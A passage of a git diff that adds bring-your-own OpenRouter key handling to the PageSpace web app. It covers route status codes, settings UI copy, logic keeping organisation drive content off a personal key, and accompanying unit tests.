mockAuthority.getModelKey.mock.calls.length]).toEqual([{ enabled: false, available: true, key: null }, 0]); + expect([body.key, mockAuthority.getModelKey.mock.calls.length]).toEqual([null, 0]); }); }); diff --git a/apps/web/src/app/api/user/model-key/route.ts b/apps/web/src/app/api/user/model-key/route.ts index 15bf340c2d..dd7632d9a0 100644 --- a/apps/web/src/app/api/user/model-key/route.ts +++ b/apps/web/src/app/api/user/model-key/route.ts @@ -15,6 +15,12 @@ const AUTH_OPTIONS_WRITE = { allow: ['session'] as const, requireCSRF: true }; /** The key itself is validated by the authority; this only bounds what is read from the request. */ const setModelKeyBody = z.object({ apiKey: z.string().min(1).max(600) }).strict(); +/** A refused save: the person's mistake is 400, another change of their key still running is 409, anything else 503. */ +function setRefusalStatus(reason: string): number { + if (reason === 'key_invalid' || reason === 'key_rejected') return 400; + return reason === 'conflict' ? 409 : 503; +} + /** What the settings card may show: never the key, never a fragment of it. */ function shownKey(account: SafeAccount | null) { return account === null ? null : { id: account.id, createdAt: account.createdAt, lastUsedAt: account.lastUsedAt, status: account.status }; @@ -22,19 +28,22 @@ function shownKey(account: SafeAccount | null) { /** * GET /api/user/model-key — whether the person may bring their own OpenRouter key (ADR 0009), whether this - * deployment can use one, and their key's metadata. + * deployment can use one, and their key's metadata. A key left from before the flag was switched off is still + * shown, so the person can remove it (DELETE allows that); it is not used meanwhile. */ export async function GET(request: Request) { const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_READ); if (isAuthError(auth)) return auth.error; const enabled = isOnPrem() ? false : await isFeatureEnabled('byok_model_key', auth.userId).catch(() => false); const authority = getAccountAuthority(); - if (!enabled || authority === null) return NextResponse.json({ enabled, available: authority !== null, key: null }); + if (isOnPrem() || authority === null) return NextResponse.json({ enabled, available: authority !== null, key: null }); try { const key = await authority.getModelKey({ actor: actorFromAuth(auth) }); return NextResponse.json({ enabled, available: true, key: shownKey(key) }); } catch (error) { loggers.api.error('Error reading model key', error as Error); + // Someone not enabled has nothing to manage here: a failed read must not break their Settings page. + if (!enabled) return NextResponse.json({ enabled, available: true, key: null }); return NextResponse.json({ error: 'Failed to read model key' }, { status: 500 }); } } @@ -55,9 +64,10 @@ export async function PUT(request: Request) { try { const result = await authority.setModelKey({ actor: actorFromAuth(auth), apiKey: parsed.data.apiKey }); - if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' || result.reason === 'key_rejected' ? 400 : 503 }); + if (!result.ok && result.reason !== 'previous_key_active') return NextResponse.json({ error: result.reason }, { status: setRefusalStatus(result.reason) }); + // Stored and in use. `previousKeyActive`: an older key could not be revoked yet; the next save or removal retries it. auditRequest(request, { eventType: 'auth.token.created', userId: auth.userId, resourceType: 'agent_account', resourceId: result.account?.id ?? 'model_key' }); - return NextResponse.json({ key: shownKey(result.account), verified: result.verified ?? false }, { status: 201 }); + return NextResponse.json({ key: shownKey(result.account), verified: result.verified ?? false, previousKeyActive: !result.ok }, { status: 201 }); } catch (error) { loggers.api.error('Error storing model key', error as Error); return NextResponse.json({ error: 'Failed to store model key' }, { status: 500 }); @@ -75,7 +85,7 @@ export async function DELETE(request: Request) { if (authority === null) return NextResponse.json({ error: 'not_configured' }, { status: 503 }); try { const result = await authority.removeModelKey({ actor: actorFromAuth(auth) }); - if (!result.ok) return NextResponse.json({ error: result.reason }, { status: 503 }); + if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'conflict' ? 409 : 503 }); auditRequest(request, { eventType: 'auth.token.revoked', userId: auth.userId, resourceType: 'agent_account', resourceId: 'model_key' }); return NextResponse.json({ key: null }); } catch (error) { diff --git a/apps/web/src/app/settings/ai/ModelKeyCard.tsx b/apps/web/src/app/settings/ai/ModelKeyCard.tsx index b8b05a7d7b..e1c68eb9b5 100644 --- a/apps/web/src/app/settings/ai/ModelKeyCard.tsx +++ b/apps/web/src/app/settings/ai/ModelKeyCard.tsx @@ -1,9 +1,10 @@ 'use client'; /** - * "Use your own OpenRouter key" (ADR 0009). Shown only to people an admin enabled. The key is sent once to + * "Use your own OpenRouter key" (ADR 0009). Shown to people an admin enabled. The key is sent once to * the credential plane and never shown again: this card knows only whether a key is set and when it was - * last used. Calls in org drives always use PageSpace's key, which the copy says plainly. + * last used. Calls in org drives (and in drives someone else owns) always use PageSpace's key, which the copy says + * plainly. A key left after an admin switched the flag off is shown for removal only. */ import { useEffect, useId, useState } from 'react'; import { toast } from 'sonner'; @@ -26,6 +27,7 @@ const ERROR_COPY: Record = { not_configured: 'This deployment cannot store keys right now.', plane_unavailable: 'Your key could not be stored right now. Try again in a moment.', store_refused: 'Your key could not be stored. Try again in a moment.', + conflict: 'Another change to your key is in progress. Try again in a moment.', }; const formatTime = (ms: number | null) => (ms === null ? 'never' : new Date(ms).toLocaleString()); @@ -61,16 +63,18 @@ export function ModelKeyCard() { return () => useEditingStore.getState().endEditing(componentId); }, [draft, componentId]); - if (state === null || !state.enabled) return null; + // Not enabled: shown only to remove a key left from before the admin switched the flag off. + if (state === null || (!state.enabled && state.key === null)) return null; async function save() { setSaving(true); try { - const result = await put<{ key: ShownKey; verified: boolean }>('/api/user/model-key', { apiKey: draft }); + const result = await put<{ key: ShownKey; verified: boolean; previousKeyActive?: boolean }>('/api/user/model-key', { apiKey: draft }); setState((current) => (current === null ? current : { ...current, key: result.key })); setDraft(''); if (result.verified) toast.success('OpenRouter accepted your key. Your model calls now run on it.'); else toast.warning('Your key is saved, but OpenRouter could not be reached to check it. If it is wrong, your next chat will say so.'); + if (result.previousKeyActive) toast.warning('Your previous key could not be removed from PageSpace yet. Your calls use the new key; save or remove again to clear the old one.'); } catch (error) { const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined; toast.error(ERROR_COPY[reason ?? ''] ?? 'Your key could not be saved.'); @@ -85,8 +89,9 @@ export function ModelKeyCard() { await del('/api/user/model-key'); setState((current) => (current === null ? current : { ...current, key: null })); toast.success('Your key is removed from PageSpace. It still works at OpenRouter until you revoke it there.'); - } catch { - toast.error('Your key could not be removed right now.'); + } catch (error) { + const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined; + toast.error(reason === 'conflict' ? ERROR_COPY.conflict : 'Your key could not be removed right now.'); } finally { setSaving(false); } @@ -101,7 +106,7 @@ export function ModelKeyCard() { Preview - Your own model calls run on your OpenRouter key and are not charged PageSpace credits. Calls in an organization's drives always use PageSpace's key. + Your own model calls run on your OpenRouter key and are not charged PageSpace credits. Calls in an organization's drive or in a drive someone else owns, and conversations that have already used PageSpace's key, stay on PageSpace's key. On your key, the assistant cannot read organization drives. @@ -112,6 +117,10 @@ export function ModelKeyCard() {

+ {!state.enabled && ( +

Bringing your own key is switched off for your account, so PageSpace no longer uses this key. You can remove it.

+ )} + {!state.available ? (

This deployment cannot use your own key right now.

) : state.key ? ( @@ -128,7 +137,7 @@ export function ModelKeyCard() { ) : null} - {state.available && ( + {state.available && state.enabled && (
{ diff --git a/apps/web/src/lib/ai/chat-pipeline/assistant-surface.ts b/apps/web/src/lib/ai/chat-pipeline/assistant-surface.ts index 5efce47487..987df5c40c 100644 --- a/apps/web/src/lib/ai/chat-pipeline/assistant-surface.ts +++ b/apps/web/src/lib/ai/chat-pipeline/assistant-surface.ts @@ -53,6 +53,7 @@ import type { LocationContext } from '@/lib/ai/shared/chat-types'; import type { TurnTimer } from '@/lib/ai/core/turn-timing'; import type { AccessActor } from '@pagespace/lib/permissions/access-actor'; import { getUserDriveAccess } from '@pagespace/lib/permissions/permissions'; +import { drivePolicyOrgId } from '@pagespace/lib/permissions/actor-authentication'; import { db } from '@pagespace/db/db'; import { eq } from '@pagespace/db/operators'; import { drives } from '@pagespace/db/schema/core'; @@ -152,6 +153,11 @@ export interface AssistantContextInput { allowedDriveIds: readonly string[]; /** Imago only: the drives its user keeps it out of. */ excludedDriveIds?: ReadonlySet; + /** + * BYOK (ADR 0009 I6): whose key the turn runs on. On the person's own OpenRouter key no org's content enters the + * context: no org drive in view, summary or agent list, and no memory distilled from an org's conversations. + */ + modelKeySource?: 'managed' | 'user_key'; timer?: TurnTimer; } @@ -178,9 +184,10 @@ export async function buildAssistantContext(input: AssistantContextInput): Promi ? null : input.location; const excludedDriveIds = input.excludedDriveIds ?? NO_EXCLUSIONS; + const ownKey = input.modelKeySource === 'user_key'; const [personalization, userTimezone] = await Promise.all([ - getUserPersonalization(actor), + getUserPersonalization(actor, { modelKeySource: input.modelKeySource }), getUserTimezone(actor.userId), ]); timer?.mark('personalization'); @@ -194,9 +201,13 @@ export async function buildAssistantContext(input: AssistantContextInput): Promi const viewedDriveId = location?.currentDrive?.id ?? null; const excludedInView = viewedDriveId !== null && excludedDriveIds.has(viewedDriveId); + // BYOK (ADR 0009 I6): on the person's own key an org's drive in view is out of reach like an excluded one. + const orgInViewOnOwnKey = !excludedInView && viewedDriveId !== null && ownKey && (await drivePolicyOrgId(viewedDriveId)) !== null; // The drive in view as the assistant may use it: none when it is kept out. - const driveInView = excludedInView ? null : viewedDriveId; - const agentAccess: LocationAgentAccess | undefined = excludedInView ? { kind: 'excluded' } : undefined; + const driveInView = excludedInView || orgInViewOnOwnKey ? null : viewedDriveId; + const agentAccess: LocationAgentAccess | undefined = excludedInView + ? { kind: 'excluded' } + : orgInViewOnOwnKey ? { kind: 'org_on_own_key' } : undefined; const locationPrompt = buildLocationTurnPrompt(location ? { currentPage: location.currentPage, @@ -232,6 +243,7 @@ export async function buildAssistantContext(input: AssistantContextInput): Promi canDelegate: !readOnly, allowedDriveIds, ...(excludedDriveIds.size > 0 && { excludedDriveIds }), + ...(ownKey && { withoutOrgDrives: true }), }); timer?.mark('agent_awareness_built'); @@ -244,7 +256,7 @@ export async function buildAssistantContext(input: AssistantContextInput): Promi pageTreePrompt = `\n\n## WORKSPACE STRUCTURE\n\nHere is the complete workspace structure:\n\n${treeContext}`; } } else { - const driveSummary = await getDriveListSummary(actor, { allowedDriveIds, ...(excludedDriveIds.size > 0 && { excludedDriveIds }) }); + const driveSummary = await getDriveListSummary(actor, { allowedDriveIds, ...(excludedDriveIds.size > 0 && { excludedDriveIds }), ...(ownKey && { withoutOrgDrives: true }) }); timer?.mark('drive_summary_loaded'); if (driveSummary) { pageTreePrompt = `\n\n## ACCESSIBLE WORKSPACES\n\n${driveSummary}`; diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts index 63c2c30154..deec1fa681 100644 --- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts @@ -405,6 +405,7 @@ export async function runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise 0 ? allContextDrives.filter((d) => allowedDriveIds.includes(d.driveId)) : allContextDrives; + memberContextDriveIds = contextDrives.map((d) => d.driveId); if (contextDrives.length > 0) { memberDriveContextPrefix = contextDrives .map((d) => `## DRIVE CONTEXT: ${d.driveName}\n\n${d.drivePrompt}\n\n---\n\n`) @@ -805,9 +808,12 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise ({ + mockIsFeatureEnabled: vi.fn(), + mockListForUser: vi.fn(), + mockSelect: vi.fn(), + mockIsOnPrem: vi.fn(() => false), + mockPlaneConfigured: vi.fn(() => true), +})); + +vi.mock('@pagespace/db/db', () => ({ db: { select: mockSelect } })); +vi.mock('@pagespace/db/operators', () => ({ and: vi.fn(), eq: vi.fn(), inArray: vi.fn(), ne: vi.fn() })); +vi.mock('@pagespace/db/schema/core', () => ({ drives: { id: 'id', orgId: 'orgId', ownerId: 'ownerId' } })); +vi.mock('@pagespace/db/schema/monitoring', () => ({ aiUsageLogs: { id: 'id', conversationId: 'conversationId', keySource: 'keySource' } })); +vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: mockIsOnPrem })); +vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ isFeatureEnabled: mockIsFeatureEnabled })); +vi.mock('@pagespace/lib/agent-accounts/agent-account-repository', () => ({ createAgentAccountRepository: () => ({ listForUser: mockListForUser }) })); +vi.mock('@pagespace/lib/agent-accounts/inference/model-key', () => ({ isModelKeyAccount: (row: { slug: string }) => row.slug === 'openrouter-model-key' })); +vi.mock('@/lib/agent-accounts/agent-accounts-config', () => ({ isAgentAccountsConfigured: mockPlaneConfigured })); + +import { decideModelKeySource, isBilledKeySource, resolveModelKeySource } from '../model-key-source'; + +const base = { + onPrem: false, + backend: 'openrouter', + flagEnabled: true, + hasModelKey: true, + orgGoverned: false, + fundedByAnother: false, + conversationOnManagedKey: false, + planeConfigured: true, +}; describe('decideModelKeySource', () => { - it('given an enabled person with a key, on OpenRouter, outside any org, should use their key', () => { + it('given an enabled person with a key, on OpenRouter, outside any org, funding it themselves, should use their key', () => { expect(decideModelKeySource(base)).toEqual({ source: 'user_key' }); }); @@ -17,9 +45,26 @@ describe('decideModelKeySource', () => { expect(decideModelKeySource({ ...base, orgGoverned: true })).toEqual({ source: 'managed' }); }); + it('given a call in a drive someone else owns, whose wallet may pay, should use PageSpace\'s key (a key is only ever the funder\'s)', () => { + expect(decideModelKeySource({ ...base, fundedByAnother: true })).toEqual({ source: 'managed' }); + }); + + it('given a conversation that already ran on PageSpace\'s key, should stay there: its history may hold an org\'s content', () => { + expect(decideModelKeySource({ ...base, conversationOnManagedKey: true })).toEqual({ source: 'managed' }); + }); + it('given a call that would use the person\'s key but no credential plane, should refuse rather than run on PageSpace\'s key', () => { expect(decideModelKeySource({ ...base, planeConfigured: false })).toEqual({ source: 'refused', reason: 'byok_unavailable' }); }); + + it('given a flag whose state could not be read, for a person with a key, should refuse rather than bill PageSpace credits', () => { + expect(decideModelKeySource({ ...base, flagEnabled: null })).toEqual({ source: 'refused', reason: 'byok_unavailable' }); + }); + + it('given a flag whose state could not be read but a call PageSpace\'s key would run anyway, should use PageSpace\'s key', () => { + const actual = [{ hasModelKey: false }, { orgGoverned: true }, { fundedByAnother: true }].map((change) => decideModelKeySource({ ...base, flagEnabled: null, ...change }).source); + expect(actual).toEqual(['managed', 'managed', 'managed']); + }); }); describe('isBilledKeySource', () => { @@ -27,3 +72,73 @@ describe('isBilledKeySource', () => { expect([isBilledKeySource('user_key'), isBilledKeySource('managed'), isBilledKeySource(undefined)]).toEqual([false, true, true]); }); }); + +/** db.select().from().where() resolves to the drive rows; .limit() on it resolves to the usage rows. */ +function readsReturn({ drives = [], usage = [] }: { drives?: Array<{ id: string; orgId: string | null; ownerId: string }>; usage?: Array<{ id: string }> }) { + mockSelect.mockImplementation((columns: Record) => ({ + from: () => ({ + where: () => { + const rows = 'ownerId' in columns ? drives : usage; + return Object.assign(Promise.resolve(rows), { limit: async () => rows }); + }, + }), + })); +} + +describe('resolveModelKeySource', () => { + const activeKey = { slug: 'openrouter-model-key', ownerKind: 'user', status: 'active', credentialVersion: 1 }; + + beforeEach(() => { + vi.clearAllMocks(); + mockIsFeatureEnabled.mockResolvedValue(true); + mockListForUser.mockResolvedValue([activeKey]); + readsReturn({}); + }); + + it('given a call in the person\'s own personal drive, should use their key', async () => { + readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u1' }] }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' })).toEqual({ source: 'user_key' }); + }); + + it('given a call in a personal drive another person owns, should use PageSpace\'s key', async () => { + readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u2' }] }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' })).toEqual({ source: 'managed' }); + }); + + it('given a content drive an org owns, should use PageSpace\'s key whoever owns the call\'s drive', async () => { + readsReturn({ drives: [{ id: 'd1', orgId: null, ownerId: 'u1' }, { id: 'org-drive', orgId: 'org1', ownerId: 'u3' }] }); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1', contentDriveIds: ['org-drive'] })).toEqual({ source: 'managed' }); + }); + + it('given org-derived content (memory distilled from an org), should use PageSpace\'s key', async () => { + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, contentOrgIds: ['org1'] })).toEqual({ source: 'managed' }); + }); + + it('given a conversation with a call on PageSpace\'s key, should keep it there; with none, should use the person\'s key', async () => { + readsReturn({ usage: [{ id: 'log1' }] }); + const withManaged = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, conversationId: 'c1' }); + readsReturn({ usage: [] }); + const withoutManaged = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, conversationId: 'c1' }); + expect([withManaged.source, withoutManaged.source]).toEqual(['managed', 'user_key']); + }); + + it('given a flag lookup that fails, for a person with a key, should refuse; for one without, should use PageSpace\'s key', async () => { + mockIsFeatureEnabled.mockRejectedValue(new Error('db down')); + const withKey = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null }); + mockListForUser.mockResolvedValue([]); + const withoutKey = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null }); + expect([withKey.source, withoutKey.source]).toEqual(['refused', 'managed']); + }); + + it('given neither the flag nor the keys readable, should leave the call to PageSpace\'s path, which reads the same database', async () => { + mockIsFeatureEnabled.mockRejectedValue(new Error('db down')); + mockListForUser.mockRejectedValue(new Error('db down')); + expect(await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null })).toEqual({ source: 'managed' }); + }); + + it('given the flag off, should read no key and no drive', async () => { + mockIsFeatureEnabled.mockResolvedValue(false); + const decision = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: 'd1' }); + expect([decision.source, mockListForUser.mock.calls.length, mockSelect.mock.calls.length]).toEqual(['managed', 0, 0]); + }); +}); diff --git a/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts b/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts index 92f89d1084..4a7e63f2cc 100644 --- a/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/plane-inference-fetch.test.ts @@ -37,6 +37,13 @@ describe('createPlaneInferenceFetch', () => { expect([response.status, json.error.metadata.byok, json.error.message.includes('limit')]).toEqual([429, 'limits_exceeded', true]); }); + it('given an outcome the plane could not confirm, should answer a status the AI SDK never retries, so a call that may have run on the person\'s key is not sent again', async () => { + const planeFetch = createPlaneInferenceFetch({ authority: authorityWith(async () => ({ ok: false as const, reason: 'outcome_unknown' as const })), context }); + const response = await planeFetch('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body }); + const sdkRetries = [408, 409, 429].includes(response.status) || response.status >= 500; + expect({ status: response.status, sdkRetries }).toEqual({ status: 424, sdkRetries: false }); + }); + it('given no credential plane at all, should refuse and never send anything', async () => { const response = await createPlaneInferenceFetch({ authority: null, context })('https://openrouter.ai/api/v1/chat/completions', { method: 'POST', body }); expect(response.status).toBe(503); diff --git a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts index 377609eaa6..5c1f504184 100644 --- a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts @@ -63,6 +63,11 @@ const getDrivePolicies = vi.hoisted(() => vi.fn()); const getOrgPolicies = vi.hoisted(() => vi.fn()); vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies, getOrgPolicies })); +// BYOK (ADR 0009): whose key runs is decided in model-key-source (tested there); here it is PageSpace's unless a test says. +const resolveModelKeySource = vi.hoisted(() => vi.fn(async () => ({ source: 'managed' as const }))); +vi.mock('../model-key-source', () => ({ resolveModelKeySource })); +vi.mock('@/lib/agent-accounts/account-authority-client', () => ({ getAccountAuthority: vi.fn(() => null) })); + import { DEFAULT_ORG_POLICIES } from '@pagespace/lib/organizations/policies-core'; import { DEFAULT_AI_MODEL, DEFAULT_AI_PROVIDER } from '@pagespace/lib/ai/model-defaults'; import { @@ -573,6 +578,31 @@ describe('provider-factory', () => { }); }); + describe('createAIProvider — whose key runs (ADR 0009)', () => { + it('given a gate that decided on the person\'s key but a pair that resolves off OpenRouter, should refuse rather than run PageSpace\'s key as theirs', async () => { + process.env.OLLAMA_BASE_URL = 'http://localhost:11434'; + const result = await createAIProvider('user-123', { selectedProvider: 'ollama', selectedModel: 'llama3.2' }, { + driveId: null, + keySource: { source: 'user_key' }, + }); + expect(isProviderError(result) ? result.status : 'built').toBe(409); + }); + + it('given content that only the key decision counts, should decide on it with the conversation, without POL-8 judging it', async () => { + process.env.OPENROUTER_DEFAULT_API_KEY = 'or-key'; + await createAIProvider('user-123', { selectedProvider: 'anthropic', selectedModel: 'anthropic/claude-sonnet-4.6' }, { + user: { currentAiProvider: 'anthropic', currentAiModel: 'anthropic/claude-sonnet-4.6' }, + driveId: null, + keyOnlyContent: { driveIds: ['context-drive'], orgIds: ['org-1'] }, + modelCall: { conversationId: 'conv-1' }, + }); + expect([resolveModelKeySource.mock.calls.at(-1)?.[0], getDrivePolicies.mock.calls.length]).toEqual([ + { userId: 'user-123', provider: 'anthropic', driveId: null, contentDriveIds: ['context-drive'], contentOrgIds: ['org-1'], conversationId: 'conv-1' }, + 0, + ]); + }); + }); + describe('createAIProvider — user row threading', () => { it('skips the DB select when a pre-loaded user row is provided', async () => { process.env.OPENROUTER_DEFAULT_API_KEY = 'or-key'; diff --git a/apps/web/src/lib/ai/core/agent-awareness.ts b/apps/web/src/lib/ai/core/agent-awareness.ts index 5bad5da95a..95a15f799a 100644 --- a/apps/web/src/lib/ai/core/agent-awareness.ts +++ b/apps/web/src/lib/ai/core/agent-awareness.ts @@ -68,15 +68,17 @@ async function queryDriveAgents(driveId: string): Promise { */ export async function buildAgentAwarenessPrompt( actor: AccessActor, - options: { canDelegate?: boolean; excludedDriveIds?: ReadonlySet; allowedDriveIds?: readonly string[] } = {}, + options: { canDelegate?: boolean; excludedDriveIds?: ReadonlySet; allowedDriveIds?: readonly string[]; withoutOrgDrives?: boolean } = {}, ): Promise { try { - // Every live drive, minus any the caller's agent is kept out of (Imago). + // Every live drive, minus any the caller's agent is kept out of (Imago) — and every org's drive for a turn on + // the person's own OpenRouter key (ADR 0009 I6). const allDrives = (await db - .select({ id: drives.id, name: drives.name }) + .select({ id: drives.id, name: drives.name, orgId: drives.orgId }) .from(drives) .where(eq(drives.isTrashed, false))) .filter((drive) => !options.excludedDriveIds?.has(drive.id) && + !(options.withoutOrgDrives && drive.orgId !== null) && (!options.allowedDriveIds?.length || options.allowedDriveIds.includes(drive.id))); const accessibleDrives: Array<{ id: string; name: string }> = []; diff --git a/apps/web/src/lib/ai/core/compaction/compaction-service.ts b/apps/web/src/lib/ai/core/compaction/compaction-service.ts index 0206192a57..40ef96eb8a 100644 --- a/apps/web/src/lib/ai/core/compaction/compaction-service.ts +++ b/apps/web/src/lib/ai/core/compaction/compaction-service.ts @@ -45,6 +45,12 @@ export interface RunCompactionParams { billedUserId?: string; /** SPEND-10: the automation (its stored reference, automation-attribution) the turn ran for when no person was present; its usage is listed as it. */ automationRef?: string; + /** + * Drives whose content the transcript carries beyond the spend drive (a consulted agent's home drive and its context + * drives), counted by the BYOK key decision (ADR 0009 I6) so the summary of an org agent's conversation never runs + * on a personal key. + */ + contentDriveIds?: readonly string[]; } async function summarize( @@ -123,6 +129,7 @@ export async function runCompaction(params: RunCompactionParams): Promise selectedModel: compactionModel, }, { driveId: spendDriveId(spend), + keyOnlyContent: { driveIds: params.contentDriveIds }, modelCall: { conversationId }, ...(billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }), }); diff --git a/apps/web/src/lib/ai/core/location-prompt.ts b/apps/web/src/lib/ai/core/location-prompt.ts index dabdb17baa..824708734c 100644 --- a/apps/web/src/lib/ai/core/location-prompt.ts +++ b/apps/web/src/lib/ai/core/location-prompt.ts @@ -48,12 +48,17 @@ export interface LocationPromptInput { agentAccess?: LocationAgentAccess; } -export type LocationAgentAccess = { kind: 'excluded' }; +/** `excluded`: the user keeps the agent out of the drive. `org_on_own_key`: an org's drive, on a turn on the person's own OpenRouter key (ADR 0009 I6). */ +export type LocationAgentAccess = { kind: 'excluded' } | { kind: 'org_on_own_key' }; const EXCLUDED_LOCATION = `LOCATION (current, this turn): • The user is looking at a workspace they keep you out of — you cannot read or change anything in it, so neither its name nor its pages are shown to you. If they want you to work here, they can let you back in from its settings • When the user says "here" or "this", they mean that workspace: tell them it is outside your reach`; +const ORG_ON_OWN_KEY_LOCATION = `LOCATION (current, this turn): +• The user is looking at an organization's workspace. This conversation runs on their own OpenRouter key, which never carries an organization's content, so neither its name nor its pages are shown to you and you cannot read or change anything in it +• When the user says "here" or "this", they mean that workspace: tell them it is outside your reach while this conversation runs on their own key`; + export function buildLocationTurnPrompt(input: LocationPromptInput | undefined): string { if (!input || (!input.currentPage && !input.currentDrive)) { // The guard and the hint have to be worded as one rule, not two adjacent @@ -74,6 +79,7 @@ export function buildLocationTurnPrompt(input: LocationPromptInput | undefined): } if (input.agentAccess?.kind === 'excluded') return EXCLUDED_LOCATION; + if (input.agentAccess?.kind === 'org_on_own_key') return ORG_ON_OWN_KEY_LOCATION; const lines: string[] = ['LOCATION (current, this turn):']; diff --git a/apps/web/src/lib/ai/core/model-entitlement.ts b/apps/web/src/lib/ai/core/model-entitlement.ts index 4456da5c9a..9f8f78a02a 100644 --- a/apps/web/src/lib/ai/core/model-entitlement.ts +++ b/apps/web/src/lib/ai/core/model-entitlement.ts @@ -24,6 +24,8 @@ export async function modelEntitlement(input: { provider: string; model: string; spend: SpendTarget; + /** BYOK (ADR 0009): the call runs on the person's own OpenRouter key, so no PageSpace tier gates the model. */ + ownKey?: boolean; }): Promise { const [user] = await db .select({ subscriptionTier: users.subscriptionTier, role: users.role }) @@ -36,5 +38,6 @@ export async function modelEntitlement(input: { subscriptionTier: await resolveEntitlementTier(input.userId, toPersonalSubscriptionTier(user?.subscriptionTier), input.spend), isAdmin: user?.role === 'admin', requiresProSubscription, + ownKey: input.ownKey, }); } diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index 5b498683ef..f0aa77d619 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -10,16 +10,26 @@ * - the person has an active model key; * - no org governs the call or its content (I6): a personal OpenRouter account * would otherwise log an org's content outside the org's control, and the org - * pays for its own drives' calls. That is a routing rule, not a fallback. + * pays for its own drives' calls. That is a routing rule, not a fallback; + * - the person is who funds the call (I9): it runs in no drive, or in a drive + * they own, whose wallet is their own money. In someone else's drive its + * wallet may pay, so the call stays on PageSpace's key and is billed as before; + * - the conversation has never run on PageSpace's key (I10): a turn on PageSpace's + * key may have read an org's content into the history (a global turn in an org + * drive, a tool read under a model the org allows), and that history is replayed + * on every later turn. A conversation moves from the person's key to PageSpace's, + * never back. On the person's key, the tool boundary refuses org drives + * (actor-permissions.ts), so their own turns never add org content. * Otherwise `managed`, exactly as before the flag existed. * * And once a call would use the person's key, it never quietly switches to - * PageSpace's key (I7): if the credential plane is not configured, the call is - * refused with a reason the person can read. + * PageSpace's key (I7): if the credential plane is not configured, or whether the + * flag is on cannot be read, the call is refused with a reason the person can read. */ import { db } from '@pagespace/db/db'; -import { inArray } from '@pagespace/db/operators'; +import { and, eq, inArray, ne } from '@pagespace/db/operators'; import { drives } from '@pagespace/db/schema/core'; +import { aiUsageLogs } from '@pagespace/db/schema/monitoring'; import { isOnPrem } from '@pagespace/lib/deployment-mode'; import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; import { createAgentAccountRepository } from '@pagespace/lib/agent-accounts/agent-account-repository'; @@ -31,22 +41,31 @@ export type ModelKeySource = 'managed' | 'user_key'; export type ModelKeyDecision = { readonly source: ModelKeySource } | { readonly source: 'refused'; readonly reason: 'byok_unavailable' }; +const MANAGED: ModelKeyDecision = Object.freeze({ source: 'managed' }); +const REFUSED: ModelKeyDecision = Object.freeze({ source: 'refused', reason: 'byok_unavailable' }); + export type ModelKeyFacts = { readonly onPrem: boolean; /** The backend the resolved provider runs on (`openrouter` for every cloud vendor). */ readonly backend: string; - readonly flagEnabled: boolean; + /** Whether the flag is on for this person; null when the lookup failed (the state is unknown, not off). */ + readonly flagEnabled: boolean | null; readonly hasModelKey: boolean; /** The call's drive, a content drive, or derived content belongs to an org. */ readonly orgGoverned: boolean; + /** The call runs in a drive someone else owns, whose wallet may fund it. */ + readonly fundedByAnother: boolean; + /** The conversation already has a call on PageSpace's key. */ + readonly conversationOnManagedKey: boolean; /** The credential plane and grant-signing key are configured on this deployment. */ readonly planeConfigured: boolean; }; export function decideModelKeySource(facts: ModelKeyFacts): ModelKeyDecision { - if (facts.onPrem || facts.backend !== 'openrouter') return { source: 'managed' }; - if (!facts.flagEnabled || !facts.hasModelKey || facts.orgGoverned) return { source: 'managed' }; - if (!facts.planeConfigured) return { source: 'refused', reason: 'byok_unavailable' }; + if (facts.onPrem || facts.backend !== 'openrouter') return MANAGED; + if (facts.flagEnabled === false || !facts.hasModelKey) return MANAGED; + if (facts.orgGoverned || facts.fundedByAnother || facts.conversationOnManagedKey) return MANAGED; + if (facts.flagEnabled === null || !facts.planeConfigured) return REFUSED; return { source: 'user_key' }; } @@ -54,36 +73,77 @@ export type ModelKeyCallScope = { readonly userId: string; /** The resolved provider that will run (catalog key, e.g. `anthropic`, `openrouter`, `glm`). */ readonly provider: string; - /** The drive the call runs in; null when none. */ + /** The drive the call runs in and spends in; null when none. */ readonly driveId: string | null; + /** Other drives whose content reaches the model (an agent's home drive, its context drives). */ readonly 